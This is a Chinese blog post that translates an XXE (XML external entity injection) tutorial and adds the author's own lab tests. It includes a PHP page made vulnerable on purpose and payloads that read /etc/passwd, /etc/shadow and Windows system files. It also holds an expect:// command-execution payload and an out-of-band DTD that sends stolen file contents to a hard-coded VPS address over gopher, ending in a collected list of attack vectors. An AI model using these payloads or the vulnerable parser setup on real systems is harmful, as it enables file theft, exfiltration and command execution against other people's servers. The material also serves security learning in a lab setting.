【译】Attacking XML with XML External Entity Injection (XXE)
原文链接:Attacking XML with XML External Entity Injection (XXE)
XXE:使用XML外部实体注入攻击XML
在XML中,有一种注入外部文件的方式。长久以来,自动XML解析器(在后端使用libxml2)默认启用。因此,使用XML来格式化和传递数据的站点是存在漏洞的。
XML经常被这样使用,一些常规的猜想是一些API发起SOAP请求和Javascript / Ajax使用XML传递数据。
建立你的测试平台
对于基于web的攻击,我喜欢在Mutillidae还有Metasploitable 2上测试一些东西。最新版的Mutillidae有个整洁的页面来尝试这种攻击,但Metasploitable 2上却没有。所以,我喜欢写个简单的PHP页面来进行测试。
使用Kali Linux, 在/var/www目录下写入名为xmlinject.php的文件。内容如下:
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo “You have logged in as user $user”; ?>
这个文件期待接收XML内容。预期的XML内容类似于以下内容,命名为xml.txt:
<creds> <user>admin</user> <pass>mypass</pass> </creds>
使用命令启动Apache2服务: service apache2 start
你可以使用各种各样的方式来发送XMl数据内容, 但是对于这个例子,我会创建一个简单的文件名为xml.txt,然后使用curl命令发送...
curl -d @xml.txt http://localhost/xmlinject.php
一般情况下,你可能会使用curl, 或者使用BurpSuite代理或Zap或其他类似的工具来捕获网络流量。
需要指出的是,这些PHP代码并不是必须的。但是,您运行固定版本的libxml2的机会不大,为了做演示的目的,代码会关闭外部实体保护。
攻击
我如何发现一个存在漏洞的主机?
正如前面所提到的,这个在使用Ajax的应用程序中的一个API的SOAP请求或者Javascript请求。试着在任何传输XML信息的地方进行尝试。
我如何攻击这个(存在漏洞的)主机?
在这个例子中,不管"user"域中的数据时什么都会返回。如果你想读取/etc/passwd文件,新的恶意XML将会像如下的样子:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
发送这些内容来测试PHP文件,将会返回/etc/passwd的内容。
正如你所见,你通过"user"域注入了外部文件的内容。
但我们要做的不仅仅是这样。如果PHP安装了"expect"模块(你可以通过“apt-get install libexpect-php5″ and restart Apache来进行安装),你还可以进行命令注入。试着将XML改成如下的样子:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
现在,你将得到执行"id"命令返回的结果。
还有一些其他的东西可以尝试,想各种不同类型的DOS攻击(如果你注入/dev/random将会发生什么?),例如一般或递归实体扩展。
引用:
https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing
http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html
http://stackoverflow.com/questions/24117700/clarifications-on-xxe-vulnerabilities-throughout-php-versions
-----------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------ 悲壮的分割线 ------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------------------------------
我的测试
大大们,上面的方法我没有成功啊,不管是在kali还是ubuntu下就是没有成功啊。然后就在Win XP XAMPP上做实验啦!
测试一:本地环境
目的靶机:192.168.1.111 页面文件:C:\xampp\htdocs\xmlinject.php(内容同上) [windows平台下的XAMPP]
【sample 1】在我的做法是这样的,用burp拦截请求=>Send to Repeater
请求数据:
POST /xmlinject.php HTTP/1.1 Host: 192.168.1.111 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 62 <creds> <user>admin</user> <pass>mypass</pass> </creds>
【Sample 2】方法同上,请求的数据如下:
POST /xmlinject.php HTTP/1.1 Host: 192.168.1.111 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 197 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
测试二:AWVS
[Sample 3]
另外AWVS也提供了一个测试环境,现记录如下:
AWVS test site: http://testhtml5.vulnweb.com/ , 点击右上角的Login,然后抓Forget Pwd?这个包 => Send to Repeater
再用下面这段代码测试:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "testing" >]> <forgot><username>&xxe;</username></forgot>
说明存在XXE漏洞,但是读了半天,也没读出文件呐 ~ 走过路过的大佬,希望给点提示啊 ~
测试三:高级用法
好像是OOB...
这里还是利用测试一中的例子,在VPS的web根目录下创建该文件:oob_poc.xml,内容如下:
root@ubuntu-512mb-sfo2-01:~# cat /var/www/html/oob_poc.xml <!ENTITY % payload SYSTEM "file:///C:/windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'gopher://165.227.29.209:3333/1%payload;'>"> %int; %trick;
其中的ip地址,换成你的ip地址,监听的是3333端口。
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://165.227.29.209/oob_poc.xml"> %remote; ]>
修改一下oob_poc.xml中的payload:
root@ubuntu-512mb-sfo2-01:~# cat /var/www/html/oob_poc.xml <!ENTITY % payload SYSTEM "file:///C:/boot.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'gopher://165.227.29.209:3333/1%payload;'>"> %int; %trick;
发送的payload还是上面那个...
返回的内容有点乱,可能是版本的问题吧。
攻击向量
下面主要是一些常用的攻击向量(Attack Vector),现收集如下:
远程代码执行,需要开启expect模块,略麻烦...
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
读取文件:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
参考资料:
OWASP: XML External Entity (XXE) Processing
-------------------------------------------
个性签名:如果世上的事都按你说的道理走 世界就不是现在这样了!
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!